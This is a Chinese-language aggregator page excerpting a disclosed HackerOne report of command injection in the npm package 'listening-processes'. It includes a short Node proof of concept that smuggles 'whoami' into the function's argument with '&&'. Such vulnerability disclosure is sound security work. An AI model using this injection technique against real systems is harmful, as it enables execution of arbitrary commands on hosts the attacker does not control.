[listening-processes] Command Injection
该报告还没有中文解读。
原文摘录
摘自原文(1650 字符中的一小部分)
I would like to report Command Injection in listening-processes It allows an attacker to execute arbitrary commands.
原文中的代码
$ node
> const processes = require('listening-processes')
> processes(`'Python && whoami >> hh;'`)
/bin/sh: \s.*:[0-9]* (LISTEN): command not found
{ Python:
[ { command: 'Python',
pid: '14720',
port: '8000',
invokingCommand: …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @notpwnguy · 版权归作者与 Node.js third-party modules 所有